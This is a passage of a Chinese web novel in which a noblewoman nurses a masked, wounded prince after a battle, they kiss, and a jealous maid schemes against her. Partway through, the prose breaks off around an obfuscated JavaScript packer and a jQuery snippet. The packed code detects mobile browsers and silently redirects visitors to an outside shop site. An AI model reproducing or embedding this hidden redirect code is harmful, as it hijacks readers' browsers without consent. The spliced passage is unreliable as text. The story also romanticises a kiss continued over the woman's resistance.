苏若琳闻言缓缓走下马车,只见眼前的府邸宽阔气派,只是看着到底不如京城的府邸那般奢华,反倒还多了几分颓败之感。 “这里是?” “梨州城招待王爷的住处。”青芙说着上前敲了敲大门。 很快便有人来将大门打开,一个白白胖胖的中年男人自门后走了出来,目光落到青芙身后的苏若琳身上。 只见面前的女子花容月貌、国色天香,即便穿着简单,首饰也只是零星戴着几个,但仅仅看那衣服的衣料和首饰的质地本身便已价值连城。 再一看对方那全身细嫩的肌肤便能知道,若非是从小到大养尊处优定然不会保养得如此水润光滑,来者定然是某位高门贵女。 “这位便是苏小姐吧?”男人笑眯眯地拱手行了一礼,随后做了一个“请”的手势,“请随小的来。” “小的是这府上的管事,负责府上的一切杂事,若是苏小姐在府上有什么需要或者不满意的地方,尽管来吩咐小的。”那白胖的管事说着带领一行人穿过前院,在一个雅致的院落前停下脚步。 “这里便是苏小姐的住处了,苏小姐您看着可还满意?” 苏若琳走进院子,环顾着四周。 院子的环境很好,虽然没有什么名贵的物件,但胜在干净整洁,梨州城历经两次战乱,尚没能恢复元气,单是看方才行在大街上的百姓们脸上的神色,便能看出如今城内的萧条。 在这样的情况下,梨州城能准备出这样的府邸和院子已经很不容易了。 苏若琳没有那么挑剔,很快点了点头:“可以。” “那就好。”管事说着又作一揖,“舟车劳顿,苏小姐注意休息,如今城内才刚安稳,府里还有还有诸多杂事要处理,若是苏小姐没什么事的话,小的就先行离开了?” 苏若琳淡淡地点了点头。 管事当即恭敬道:“您的行李稍后小的会吩咐下人送来院子,若是您之后还有什么需要,请尽管吩咐。” 说罢又看了看苏若琳的脸色,见对方并无露出任何不虞,这才告退。 苏若琳看着管事离开时步履匆匆的模样,感慨了一句,这么忙,忙到待客都不周了。 若是换了个娇气些的大小姐,怕是已经开始不爽了。 说罢看向虽然老实站在一旁,但是神色已然变得阴沉的陈姨娘,诺,就比如这个。 青芙看了陈姨娘一眼:“你有什么不满吗?” 注意到青芙冰冷的眼神,陈姨娘登时头摇得跟拨浪鼓一般:“没有没有!” 青芙随后又看向苏若琳,恭敬道:“苏小姐可还有什么需要?” 苏若琳闻言回过神:“祝老先生和纨玦纨枫那两个孩子如今都在何处?” 青芙思索了片刻,答道:“老先生如今正在前院住着,杨纨玦公子随我军在城外安营扎寨,杨纨枫公子应当是在和老先生商议战术。” 苏若琳颔首:“那你们家王爷呢?” “王爷......”青芙面露一丝迟疑,“王爷应当是在自己的院子里。” 见一向干脆利落的青芙竟然露出了迟疑的神色,苏若琳不禁追问道:“在做什么?” “……应当是在包扎伤口。” “他受伤了?!”苏若琳瞪大眼睛,“伤得重不重?伤到哪了?大夫怎么说的?” 一连串的问题砸下来,望着苏若琳紧张的神色,青芙张了张嘴,欲到嘴边的话忽地不知如何开口。 王爷的情况自然是不好的,先前在京城守战时王爷便受了不轻的伤,直到昨夜也未曾愈合,如今旧伤上又添新伤,情况只会更加严重。 “梨州城一战王爷只是被划了一刀,伤得并不深。”青芙顿了顿,终究选择告知真相,“凭王爷的实力,梨州一战本不能伤到王爷,只是先前京城一战时王爷便已经受过伤,如今带伤出战,这才……” “他先前就有伤?!”苏若琳难以置信地望着她,“他为什么从未跟我提起过!” 她不由得想起了这些日子里和萧怀琳在一起的桩桩件件。 京城约会那日,他陪着她游玩了一整日,未曾有过丝毫的不耐; 后来行军途中,他来马车里调戏她时,把她吓了一跳,可也未曾有过什么越轨之事; 再就是昨日,他将她抱在怀里,温声细语地安慰她,给予她温暖和力量。 那混蛋一直是那副如沐春风般温柔和煦的模样,谁曾想居然一直有伤在身! 先前那混蛋在马车里欺负她的时候,她还伸出手去使劲把对方推开,也不知道碰到他的伤口了没有。 若是碰到了,那该有多痛啊! 那个混蛋怎么一句话也不知道说,装得还一点事都没有! 这般想着,苏若琳一双秀丽的眼眸逐渐起了水雾,眼眶渐渐地泛红了。 他怎么一直在照顾她的方方面面,事无巨细,体贴入微,可是她却连他何时受的伤都不知道,还凶他,把他推开。 自己才是混蛋! 青芙眼见着面前的绝色人儿竟然露出了要哭的神情,也是有些不知所措。 “苏小姐,您……” 而听到青芙的呼唤,陷入深深自责的苏若琳这才恍然回过神,她抬起袖子草草擦掉脸上的泪水,一字一顿道:“带我去见他。” …… 青芙带着苏若琳来到了萧怀琳的院子里,之间院门和屋子的门前 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半晌,她难以置信地喊道:“他疯了不成!” “萧怀琳!” 苏若琳伸出手想要拍门,却被侍卫拦了下来,于是她转身去到内室的窗前,用力地拍窗户:“萧怀琳,你在里面吗!” “你疯了吗,受了伤都不去看大夫!” 透过纸纱窗,苏若琳隐约能看到屋子坐着一个人影。 “萧怀琳,你说话!” “……我在。”屋里传来了萧怀琳的声音,只是那熟悉声音如今听起来不似从前的温润,反倒多了几分虚弱,“咳咳咳……” 听到那咳嗽声,苏若琳的一个心都跟着颤抖,她回到门前,一字一顿道:“让我进去。” 侍卫硬着头皮道:“任何人都不能进王爷的屋子,是王爷先前在王府时便多次强调的命令,苏小姐您就别为难在下了。” 侍卫也很头疼啊,若是一般人他早就把那人扔出去了,但是这位不一样啊! 所有人皆知王爷有多在乎面前这位,看这位看得比心尖子还重要,自己得罪了这位那和得罪王爷也没什么区别啊! “你执意拦我是吧?”苏若琳冷冷地看着他,随后又看向屋内的那个身影,“萧怀琳!” “你今天把我拦在门外,那你以后都别着再见我了!” 话音未落,萧怀琳虚弱的声音自屋内响起:“……让她进来。” 听到王爷下令,原本阻拦苏若琳的玄衣侍卫登时松了一口气,连忙收手让面前人进去。 待门重新关上时,所有侍卫皆神色复杂地看着青芙:“你是知道王爷能放苏小姐进来,才带她来的?” 于他们而言,王爷的命令便是铁律,这些年胆敢触碰铁律的,无论是府里的下人,还是老王爷留下来的部下,亦或是无意间触碰违背的其他什么人,所有人都已经命丧黄泉了。 ……除了刚才进去的那位。 而且那位还是逼着王爷亲自开口破例。 青芙淡漠地看了他们一眼:“不该问的别问。” 两个侍卫登时闭上了嘴。 正话落的功夫,苏若琳已然来到了内间,还未走进去,便能闻到一股血腥味。 她连忙掀开门帘,便见到那个往日挺拔俊俏的身影正坐在木凳上,上半身裸露着,那雪白的肌肤正映衬着面前人温润的容颜,只是那满身的伤疤却又如他脸上的面具一般狰狞。 无数条伤疤纵横密布,新疤叠着旧疤,几乎看不到一块好肉,而在那些伤疤之上,一道自肩膀长纵到腹部的伤疤正往外溢着些。 萧怀琳正手拿着毛巾擦拭自己的伤口,而在他身旁的桌上,那铜盆里的水几乎完全变成了血色。 见到她来,萧怀琳抬起头看向她,那毫无血色的唇瓣吐出的话语都透露着虚弱:“......你哭了?” “你这叫小伤?!”苏若琳恨不得把青芙抓起来质问。 萧怀琳闻言,露出了一个虚弱的微笑:“还好。” 和从前受的伤比起来,确实是小伤。 101. 接吻 面前的心上人正泪眼婆娑地望着他,那小巧玲珑的鼻尖和秀丽的眼眸都哭得通红,活像是一只受了委屈的白兔。 萧怀琳脸上的神情登时变得慌乱,他匆忙站起身,却因为牵扯到了伤口而倒吸了一口冷气。 他拖着佝偻的身躯缓缓来到苏若琳,伸出双臂想要将心上人颤抖的娇躯拥入怀里,却又怕自己满身的血污脏了她的衣裙,最后只好伸出手抚上心上人满是泪痕的脸颊,又不由自主地咳嗽了几声。 “咳咳咳......” “不要哭。” 虚弱沙哑的声音回荡在苏若琳的耳畔,却惹得她泪水更加汹涌,她伸出手扣上面前人那只轻抚她脸庞的手,无数的指责、担忧都哽在喉间,不知如何开口。 末了,她才堪堪张开口,声音已然有了哭腔:“你有伤为什么不告诉我?” 萧怀琳闻言愣在原地,半晌才勉强撤出一个微笑:“小伤,没事的。” 话音未落,他再次咳嗽了起来:“咳咳......” “你这叫没事?!”苏若琳伸出手抓住他的肩膀,扬声道,“你看着我,你敢说这是小伤!” 然而萧怀琳却将头扭向一侧,不敢直视她的眼睛。 苏若琳哽咽道:“你答应我你要保护好自己的。” “我,咳咳咳......”见到面前人哭泣,萧怀琳慌张之中不仅多了几分焦急,“这次是个意外,不会有下次了,你不要伤心了,好不好?” 随着他这一咳,身上的伤口再次开始往外溢出鲜血。 “你身上的伤!” 看着面前人的惨状,苏若琳是既心疼又焦急,然而对方如今伤成这个模样,她又怎么好再责怪对方? 只好气愤地瞪了他一眼,等着秋后算账。 苏若琳扶着萧怀琳坐回到木凳上,拿起桌上的毛巾,想要给他擦拭伤口。 只是她拿起毛巾一看,那原本洁白的毛巾已经几乎被鲜血浸透了,完全被染成了血色,看得她心惊肉跳。 这条毛巾显然是不能再用了,她看到桌子的另一边竟还放着许多条干净的毛巾,叠好了整整齐齐地码放在一起,想来是这个混蛋也知道仅仅一条毛巾根本不够用,所以才准备了这么多条。 苏若琳拿起其中一条,还是湿润的,只是晾在外面有些凉了。 不过凉点也好,碰到伤口不至于那么疼。 她用毛巾轻轻触碰着萧怀琳伤口的边缘,小心翼翼地擦拭着,竭力让对方不那么疼痛。 然而即便再小心,要想不痛仍旧是不可能的,可萧怀琳为了不让心上人担心,面上不着痕迹,一双手伸到心上人看不到的地方,死死地抓着桌角来发泄疼痛,攥得手指发白。 可即便他这般隐忍,还是叫苏若琳敏锐地察觉到了,她一个心又生气又难过,不禁开口撂下狠话:“若是你下次再有伤瞒着我,我就,我就......” 她“我就”了半天,也没说出来个什么,最后只好在萧怀琳苍白的笑意下又瞪了他一眼。 但好在,有了心上人帮忙,往日里他自己每次清理伤口都需要耗费许久,如今竟很快就处理好了。 随后,苏若琳又拿起桌上的金疮药,一点一点给面前人的伤口把药上好。 看着面前人好看的胸肌随着呼吸起伏,身上优美的肌肉线条即便是纵横密布的伤疤亦无法掩盖,恰如他俊美的脸上所戴着的银色面具,狰狞恐怖与温润如玉并存。 苏若琳脸颊微微发烫,这还是她第一次这么近距离观察男性的身体。 还是身材这么好的......咳咳咳。 而面前人显然注意到了她的脸红,伸出满是伤疤和茧子的手抚上她柔软光滑的脸颊,苍白的脸上满是笑意:“害羞了?” 苏若琳瞪着他,却也不敢把他推开,生怕动作稍一剧烈,面前人好不容易止住血的伤口就会再次崩开。 哪成想她的小心翼翼却成为了对方放肆的资本,萧怀琳望着眼前的心上人刚哭过的脸庞,眼眶和鼻尖的通红尚未来得及消退,带着泪痕的双颊便再次染上了红晕, 他的喉结上下动了动,觉得有些口干舌燥。 这只小白兔实在是太过惹人恋爱,太过让人想要狠狠地欺负。 “若琳......” 一声沙哑的呼唤在苏若琳的头顶响起,她疑惑地抬起头:“怎么了?” 随后面前人便俯下了身子,搂过她的腰将她轻轻拥入怀里,覆上了她柔软的唇瓣。 “唔......” 苏若琳瞪大双眼,脑中一片空白,待回过神来时对方已然伸出舌头,撬开了她的贝齿。 柔软的触感自唇瓣上传来,对方粗糙的舌头探入她的口中,挑弄着她湿滑柔软的舌头,她有些慌乱地想要推开面前人,然而越是推拒,那正环着她身子的手臂就拥得越是紧。 偏生她还担心面前人的伤口再次崩开,最后只好放弃了抵抗,任由对方托着她的脖颈,用力地加深这个吻。 萧怀琳粗糙的舌尖舔舐过她口中的每一个角落,随后轻轻含住她温软的舌头,渐渐地开始吮吸着,并且吮吸得越来越深,越来越缠绵,如饥似渴,仿佛要将她整个人都吞入口中。 苏若琳的舌头被对方深深地吮吸进口中,后来拉扯得舌根有些痛了,不由得发出闷声:“唔,痛......” 听到痛呼,面前人这才如梦初醒,口中微松,放小白兔柔软的舌头归巢,却又转而再去探向对方的口中,舌尖有一下没一下地触碰着对方的舌头,像是安抚,又像是挑逗。 就这样不知过了多久,萧怀琳终于心满意足地和心上人唇齿分别,又将两人的口水全部拢入自己的口中。 他的心上人好甜,就连口水是甜的。 萧怀琳望着心上人面露娇嗔,一双秀丽的眼眸气恼地瞪着他,柔软的脸蛋鼓起,煞是可爱。 他忽地觉得,若是时间能够永恒静止在这一刻,他死而无憾。 哪怕他的心上人未来不会接受自己......他也甘愿为了她去坐上那个孤独的位子,支撑起一个太平盛世。 萧怀琳银色面具下的一双凤目深情地望着怀里的心上人,痴痴道:“若琳......” 而苏若琳原本是生气的,气对方的放肆,气对方的厚颜无耻,可是当她抬起头看向对方的瞬间,面前人眉目含情的模样便撞入了她的双眸,也撞入了她的心里。 他那一双明亮的凤目里盛满了自己的倒影,温柔的目光化作点点繁星,照亮了她的一整个夜空。 宛若一阵春风过境,霎那间,世间万物春暖花开。 苏若琳的双颊更红了,她羞涩地低下头,想要去检查对方的伤口来转移注意力,见到对方身上的伤口随着胸膛的呼吸也跟着起伏,却并未裂开,这才松了一口气。 她伸出手轻轻触碰着面前人身上丛生密布的伤疤,光滑细嫩的手指轻抚过那些狰狞恐怖的肌肤,仿佛想要透过伤疤去触碰对方那些痛苦的遭遇一般,心中泛着苦涩:“你以后若是受了伤,不要再瞒着我。” 萧怀琳一只大手轻揉着她的发顶,话语间皆是爱意:“好。” 苏若琳叹了口气,不再去面对那些承载着无数痛苦的伤疤:“伤口该包扎了。” 她说着去桌子另一边拿起已经蒸好消过毒的细麻布,扯断一块,覆上萧怀琳那道狭长的伤口。 细麻缓缓缠绕过一圈,苏若琳的手指轻触过萧怀琳的后背,忽得碰到了一块湿润的东西,与此同时,萧怀琳疼得全身颤抖了一下。 苏若琳将手指举到眼前定睛一看,那白皙的指腹上竟然沾满了鲜血! 她猛地想起青芙先前说过的话,萧怀琳本就是带伤上的战场,如今新伤斜纵在胸前,那么旧伤呢? 她连忙绕到萧怀琳的背后,只见对方的后背上横着一道丝毫不逊于新伤的伤口,甚至还要深上许多。 伤口处已经断裂的痂皮和溢出的鲜血黏在了一起,显然是结痂以后又裂开的;而这伤口的中间部分看起来竟然已经感染许久,正往外溢着白脓。 苏若琳气得全身发抖:“萧怀琳!!!” 萧怀琳浑身打了一个机灵:“我......” “我刚才怎么说的?”苏若琳扳过他的脸,强迫他看着自己的眼睛,“我告诉你受了伤不要瞒着我,结果我不问你就不说是吧!” “那个伤口,已经不痛了......”萧怀琳一双秀丽的凤目第一次浮现出名为心虚的神色,“应当是快好了。” 苏若琳被气笑了,她拿起毛巾直接按在了萧怀琳后背的伤口上,后者倒吸了一口凉气:“嘶......” “你管这叫快好了?”苏若琳真想揪起面前人的头扯下来,让他好好看看自己的后背,“你那伤口中间都已经在流脓了,你告诉我快好了?” 快好了怎么还会害得他在梨洲城一战受伤! 萧怀琳低下头不敢看她:“应,应当是伤口的位置太正了,我够不到,所以没能处理干净......” 苏若琳就这么静静地听着他狡辩,一句话也不说。 过了许久,萧怀琳见面前人没有反应,他堪堪抬起头,正好撞入了对方泪流满面的眼眸。 “别,别哭啊。”萧怀琳这下真的慌了,“我这点伤没有大碍的,真的。” 他站起身想要将对方拥入怀里,却被对方一把推开,原本慌张的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579862|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情登时变得不知所措,像个做错了事的小孩子,看向对方的眼神害怕中带着迷茫。 萧怀琳的头萎靡地低垂下来,本就苍白虚弱的脸上满是受伤的神情,比起方才更少了几分血色,伸出手小心翼翼地去牵心上人的手:“对不起......” 听到这语气中带着委屈的话语,苏若琳终究是心软了,她无奈地叹了口气,任由对方将自己的手握在掌心。 见心上人没有反抗,萧怀琳原本失落的眼眸中顿时多了几分惊喜:“若琳。” “真的没有下次了。”苏若琳看着他银色面具下,欢欣和伤心交织在一起的秀丽双眸,认真道,“我知道你上战场受伤是难免的事,我也没有办法阻止你上战场,但是如果你以后再受伤瞒着我,你就别想再见到我了。” 闻言,萧怀琳用力点头,像个听话的小孩子:“好。” 见到面前人这般可怜的模样,苏若琳叹了口气,伸出手去抚上对方的脸庞,却在触碰到对方的肌肤时心一惊,怎么有些烫? 她连忙将手覆上面前的人额头,果然...... “你发烧了。” 面前人闻言,苍白的面容竟露出一丝恍然。 萧怀琳踌躇了片刻,祈求地望向心上人:“我什么都答应你。” 许是太过虚弱的缘故,他出口的声音中都多了几分低微:“不要离开我。” 这一双被恳求填满的凤目深深地刺痛了苏若琳的心,令她痛得险些无法呼吸。 面前的人是大楚未来的皇帝,是杀穿北疆的战神,可是在他最虚弱、也最容易展现出内心的时候,他竟然像个害怕被抛弃的孩子一般,无比的脆弱。 苏若琳很难不去思考,究竟是怎样的经历,让他光辉伟岸的外表下隐藏着如此深切的痛。 从身体外部,到发自内心的痛。 她深吸了一口,牵着萧怀琳的手,带他重新回到木凳上:“我先把你后背上的伤口处理好。” 萧怀琳低垂着眼眉,苍白的脸上带着几分不安,仿佛连痛都忘记了,任由心上人给他擦拭伤口,上好药,都不曾变过脸色。 最后苏若琳给萧怀琳包扎好伤口,细麻布在他的胸上打了一个漂亮的蝴蝶结,这才抬起头冲面前人露出微笑:“好了。” 见到这抹微笑,原本一直焦虑不安的萧怀琳终于得到了安抚,始终紧绷着的身体终于放松了下来,那张苍白又好看脸上也不禁显露出了疲色。 窗外夕阳辉映,天色竟已至黄昏。 自从昨日军队离开京城以后,萧怀琳就一直在行军战斗,算算时辰,他已经一天两夜没有休息了。 苏若琳不禁道:“你该休息了。” 可是萧怀琳却摇了摇头,伸出满是茧子和伤疤的粗糙手掌握住苏若琳细嫩的玉手,小声道:“我还不困......” 可随后他就难以自主地打了个哈欠。 苏若琳看着这般孩子气的萧怀琳,又心疼又无奈,她俯下身平视着对方,就连语气都变得温柔:“那怎么样你才愿意睡觉呢?” 萧怀琳的喉结动了动,将掌心的纤纤玉手握得更紧了,再次摇头。 若是睡了,他的若琳就要走了。 许是因着发烧的缘故,他的心思变得过于明显,几乎都写在了脸上,这是苏若琳第一次能看透面前人的想法,她的心里却并未有任何的窃喜,反而又心疼又心酸。 杀伐天下的宁安王,其实也只是一个十七岁的翩翩少年郎啊。 “我守着你睡。”苏若琳伸出另一只手轻抚着对方的头顶,“好不好?” 闻言,萧怀琳当即瞪大眼睛,望着心上人的目光中充满希冀。 他张开口,只觉得自己的声音都有些虚幻:“真的吗?” “当然。”苏若琳柔声道。 她牵着面前人的手,带他来到塌前坐下,然后扶着他躺好,替他盖好被子。 而萧怀琳从始至终都紧紧握着心上人的素手,生怕一旦自己松了手,心上人便会抽出手跑掉。 苏若琳将身旁的椅子拉到塌前,就这样坐在萧怀琳的面前,任由对方紧紧握着自己的手,温柔地看着他。 她伸出另一只手轻轻抚摸着榻上人的发顶:“睡吧,我守着你,不会走的。” 语气轻柔得宛若一片羽毛拂过萧怀琳心间,恍惚间,他感觉自己仿佛回到了还在侯府的日子。 仿佛她的身上还没有这些伤疤,也未曾经历过那些踽踽独行的岁月,母亲正在她的身边安抚着受了惊的她,一切都还是那么幸福和美好。 榻上伤痕累累的少年郎在心上人的安抚下,渐渐放松了身体,合上眼睛进入梦乡。 杨婉枝,睡吧。 102. 他的面具 许是真的太累了,萧怀琳这一觉竟然直接睡到了第二日。 翌日,当清晨的阳光洒进屋里,榻上伤痕累累的少年缓缓睁开双眸。 几乎是在意识恢复的瞬间,一股强烈的痛感自他的前胸和后背同时传来,令他倒吸了一口凉气。 他皱着眉头适应了片刻疼痛——这是他这些年来历经无数次训练学会的技能,每次他满身伤疤地苏醒,只要屏息凝神片刻便能迅速适应,以便接受接下来的训练和战斗。 久而久之,这项特殊的能力也就成为了习惯。 只是今日有些不同。 萧怀琳缓缓动了动身体,想要从榻上坐起来,却忽地发现自己的左手正握着一个什么东西。 他扭过头,那个他在无数个昏暗的日子里日思夜想的熟悉面容正趴在他的身旁,安静地睡着。 心上人一双温润的玉手被他轻轻握在掌心,一双又长又密的睫毛不住颤动着,似乎睡得很不踏实。 萧怀琳这才响起了昨日所发生的一切,在神智不大清醒的情况下,他竟然亲吻了他的心上人。 他伸出手抹了抹自己的唇瓣,仿佛心上人温软的味道还残存在他的唇齿间。 仿佛仍旧在做梦一般。 或许是他细微的动作惊扰了本就睡得不怎么安稳的心上人,苏若琳被他握在掌心的手指动了动,缓缓地睁开眼睛。 抬起头便望见了塌上少年温暖的笑意。 “醒了?”苏若琳揉了揉惺忪的睡眼,出口的话语还带着一丝鼻音。 面前戴着银色面具的俊俏少年郎温润如玉,含笑点头:“嗯。” 许是因着刚醒的缘故,声音中竟带着一丝沙哑。 苏若琳当即去桌上倒了一杯茶水,扶着塌上的少年郎缓缓坐起来,将茶杯递给他。 面前人倚靠在柔软的枕头上,接过茶杯安静地饮着,清晨的阳光洒落到他骨节分明的手上,照亮了那双微微低垂的眼眸,而那张俊俏的脸庞温润白皙,比起昨晚已经增添了不少血色。 苏若琳抬起头去触碰他的额头,已经不烫了。 可她仍旧不太放心,抓起被子替面前人往上盖了盖,堪堪遮住他胸前那道触目惊心的伤口。 见此,萧怀琳不禁露出微笑,连带着脸上那副凶神恶煞的穷奇面具都变得柔和。 苏若琳的目光缓缓落到面前人的那副银色面具上。 昨晚萧怀琳入睡时,她本来是想替面前人将面具摘下来的,只是她的手甚至还未碰到面具,面前人在熟睡中便已经下意识地扼住了她的手腕。 警惕到如此地步。 每个人都有自己的秘密,就如同面前人不喜欢别人看见他的身体,为此哪怕伤成这样也要自己清理包扎,哪怕有些伤口因为处理不到发炎流脓他也不愿看大夫。 苏若琳尊重他的秘密,因此她也并未强行将面前人的面具摘下。 只是她仍旧难免会好奇,他这副银色面具之下究竟藏着什么秘密? 难道是天生面相有残?可是单看他裸露在面具之外的俊俏脸庞,她很难想象面前人的面相会差到哪里去。 亦或是……他的脸上有伤疤么? 苏若琳不由得想到了萧怀琳那满身纵横的伤疤,狰狞恐怖,比起他脸上的穷奇面具还要有过之无不及。 兴许和他过去的经历有关吧。 那么他过去到底都经历过什么,在他被老宁安王寻回前的十六年里,到底是什么样的经历,才能让他留下如此密集恐怖的伤疤? 她无从得知。 正失神间,塌上的俊俏儿郎已经饮尽杯中水,伸出手捏了捏她细腻柔软的脸蛋,温声道:“在想什么呢?” 苏若琳回过神望着面前温润如玉的少年郎,俊美的脸庞上露出温柔的微笑,让人很难将他和那个战场上以一敌百的杀神联想到一起。 她开口问向面前人:“你……” “你这些伤疤,都是怎么来的?” 闻言,萧怀琳一愣。 他掀开身上的被子,低头看着自己满身的伤疤,陷入了沉默。 良久,苏若琳见他仿佛凝固了一般,迟迟没有反应,不禁有些担忧:“你还好吗?” 闻言,面前人仿佛才堪堪回过神,目光中多了一丝难以言明的情绪:“你想知道吗?” 苏若琳点了点头,末了有些犹豫地开口:“他们说你不喜欢别人看见你的身体,那你怎么就让我看见了?” 她不由得想到那道“任何人都不能进他屋”的禁令,虽说是自己威胁面前人才放她进来的,可是…… 她昨日也是太冲动了,撂下了那样的狠话,她甚至完全没有想过,倘若面前人真就不放她进来,那事情该如何收场。 可面前人还是放她进来了,甚至还愿意让她目睹他满身嶙峋的疤痕,愿意让她替他包扎伤口。 还......那样卑微地祈求她不要离开。 想到此,苏若琳的心里莫名多了一些不一样的情绪,也许......自己对于面前人而言,真的在心里占有一些位置? 也许自己不仅仅是面前人那个遥不可及的白月光的替身呢? 她这般想着,不由得抬起头来看向榻上的面前人,少年郎一双好看的凤目中流动着别样的情绪,难以捉摸。 良久,少年郎扭过头看向她,温柔的眼眸仿佛夜空中的繁星,闪烁着璀璨的光芒:“不管是从前还是往后,我所有的规矩,都可以为你破例。” 苏若琳内心一震,久久不能言语。 不知过了多久,当她回过神来时,只觉得自己的双颊和耳根都在发烫,恰如此刻她的内心。 她不自然地扭过头:“咳咳......你还没告诉我,你身上这些伤疤是怎么来的呢。” 然而面前人却低声道了一句:“现在还不是时候。” “嗯?”苏若琳疑惑地看着他,不太明白对方话语中的含义。 现在不是时候,那要等到什么时候? 等到......咳咳,他们关系更进一步的时候吗? 萧怀琳伸出满是茧子和伤疤的手掌,揉了揉苏若琳的发顶,温声道:“这些事我都会告诉你的,但不是现在。” “再给我一些时日,好吗?” 苏若琳有些不明所以,听着对方话里的意思,也不像是因着关系不够亲密才羞于开口的,那么为什么现在不好开口呢? 只是她到底也没有刨根问底,又或者说她本来也没有一定要对方回答。 他若愿意讲,那自己洗耳恭听;若是不愿意,自己绝不强求。 苏若琳轻轻点了点头,笑意盈盈道:“那就等你什么时候愿意说了,再告诉我。” 闻言,榻上温润如玉的少年郎也眉眼弯弯地笑了:“嗯。” 话音方落,外边忽地响起了敲门声,两人对视了一眼,苏若琳站起身:“我去看看。” 她来到外间的门 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这…… 听此,青芙有些庆幸,想来夫人如今尚未发现端倪,只是有些疑惑罢了。 她微微低头,神色恭敬道:“回苏小姐,王爷自被老王爷带回王府时便一直戴着面具,具体缘由奴婢也未曾知晓。” “这样啊……”苏若琳意味深长地点了点头,“你可以下去了。” “是。” 待到屋子的门重新关上,青芙转身离开,只是方才走出院子,就见到一个身着蓝衣的丫鬟迎了上来。 青芙冰冷的面色带着几分阴沉:“陈姨娘,你来做什么?” “王爷伤势如何了?”陈姨娘手里还提着一个食盒,她将食盒递上前去,“这是我做的早膳,你……劳烦你,给王爷送过去吧。” “不必了。”青芙的语气更加冷了几分,“我方才已经给王爷和苏小姐送过早膳了,这早膳你拿回去自己吃吧。” “什么!她人在王爷的屋里?!”陈姨娘难以置信地瞪大眼睛。 整个宁安王府皆知,王爷曾不止一次强调过一项规矩,那就是,任何人都不允许进到他的屋里,哪怕是贴身伺候王爷的青芙也不行。 可是,为什么,为什么那个老女人居然让王爷破例! 那个老女人是偷偷给王爷灌了迷魂汤不成! 而青芙则是面色不善地盯着面前人:“你如今贴身伺候是苏小姐的丫鬟,苏小姐人去了哪里你居然一点都不知道么?” 陈姨娘心虚地看向他处,那个老女人去了哪关她什么事?直接在外边被人贩子拐走了再也别回来才是最好的! 青芙见此冷笑了一声:“你忘记先前我是怎么嘱咐你的了?” “你的职责不仅是要照顾苏小姐,还要保障她的安全,如果苏小姐出了什么意外,那你这条命也不用留着了。” “这次念在你是初犯,我不追究,若有下次……”青芙冷冷道,“没有下次了。” 说罢,没有再理会陈姨娘,转身便要离开。 陈姨娘见状连忙拉住青芙:“青芙青芙,那王爷如今怎么样了,伤得重不重?” 青芙扭过头瞪了她一眼,这个女人可真是好大的胆子,连王爷都敢肖想。 “我奉劝你,不该有的念头别有。” 103. 香囊 此后接连数日,苏若琳都守在萧怀琳的身边照顾他。 没办法,单看他先前后背的伤疤流脓就知道,他自己肯定是照顾不好自己的,偏偏这小子还不肯让别人照顾,苏若琳实在是放心不下。 而这对于萧怀琳来说,简直就是天赐良机,做梦一般美好。 美好到如果不是身负西伐重任,他甚至想一直装病下去,等伤好了再偷偷给自己来几刀,这样他的心上人就能一直守在他的身边了。 泉州城如今太过萧条,百废待兴,祝贤盛和杨纨枫制定了诸多方案缓和泉州城的经济,待到朝廷派人来接手时,泉州城已然焕发出新的生机。 随后,萧军便又要启程,向下一座城池行进。 经过几日的修养,萧怀琳脸上的气色已经好了许多,看着几乎与平时无异,无论是同属下议事亦或和苏若琳嬉笑时都面不改色,丝毫看不出受过伤的痕迹。 见此,苏若琳更加止不住得难受。 到底要历经多少次的伤痛,才能逐渐习惯受伤,习惯痛楚,习惯到面不改色? 萧军很快再次启程,行军数日,到达了下一座被突厥占领的城池——皋阳。 只是这一次的攻城战显然不会如泉州一战那般容易。 昔日泉州之所以能仅用一夜便能拿下,一是因着突厥拿下泉州的时间不长,根基不稳;二是因为萧军发动的是突袭,突厥无所防备。 而如今,自泉州逃离的敌军残卒定然早已逃至皋阳通风报信,如今驻守在皋阳的敌军定然已经做足了准备,皋阳一战势必是一场持久战。 好消息是,皋阳一战萧怀琳终于不用亲自披挂上阵了。 此时,萧军驻扎在皋阳城外已有两日。 这两日里,萧军自皋阳城后方截断了皋阳和敌军的联系,而后彻底包围了整座皋阳城,令城内敌军陷入了孤立无援的境地。 至此,拿下皋阳城是迟早的事情。 是日午前,萧怀琳走出自己的军帐去同属下们商议战术,临离开时,侧头看了一眼守在军帐外的青芙:“她醒了么?” 青芙微微低头,恭敬道:“回王爷,苏小姐如今还在睡着。” 萧怀琳不禁轻笑,他的心上人向来嗜睡,从前在侯府时便一直是如此。 他点了点头:“你跟我一起去开会,今日一战有用得到你的地方。” “是。” 待主仆二人离开后,又过了小半个时辰,直至午时,两个侍卫来到萧怀琳的帐前换班,而原本守帐前的两个侍卫则去用午膳。 轮换没多久,一个身着蓝色衣裙的丫鬟提着食盒来到帐前,赫然被守在帐前的侍卫拦了下来。 一个侍卫似笑非笑地看着她,脸上带着几分揶揄:“荷莲,你又来了。” 这都连续几日了,自打军队离开泉州城后,这个叫荷莲的丫鬟便打着给王爷送饭的名号三番五次地往王爷的军帐里闯。 可王爷的军帐哪是那么好进的?若是真能让这个荷莲进去,那么他们这帮侍卫的脑袋全都别想要了。 起初荷莲意闯王爷军帐这事他们还会告知青芙一声,让她管管这个丫鬟,后来告知的次数多了,没见管出什么用来,反倒是这个荷莲越来越大胆了。 后来他们也就不以为意了。 更何况...... 看着荷莲这一身朴素的丫鬟打扮依然盖不住的精致小脸,另一个侍卫调笑道:“荷莲,这次给王爷带的什么好吃的啊?” 陈姨娘内心止不住地犯恶心,偏生面上还得赔笑:“侍卫大哥行行好,这次就放我进去呗。” “真不行啊。”侍卫道,“青芙说你也是从王府出来的,不知道王爷的禁令吗,任何人不得进王爷的屋子,你难道以为把屋子换成了军帐就能进了不成?” 陈姨娘在心里翻了个白眼,任何人不能进,那为什么那个老女人就能进?! 她越想越气愤,不过面上还得压住火气,不能和这帮下贱的泥腿子撕破脸。 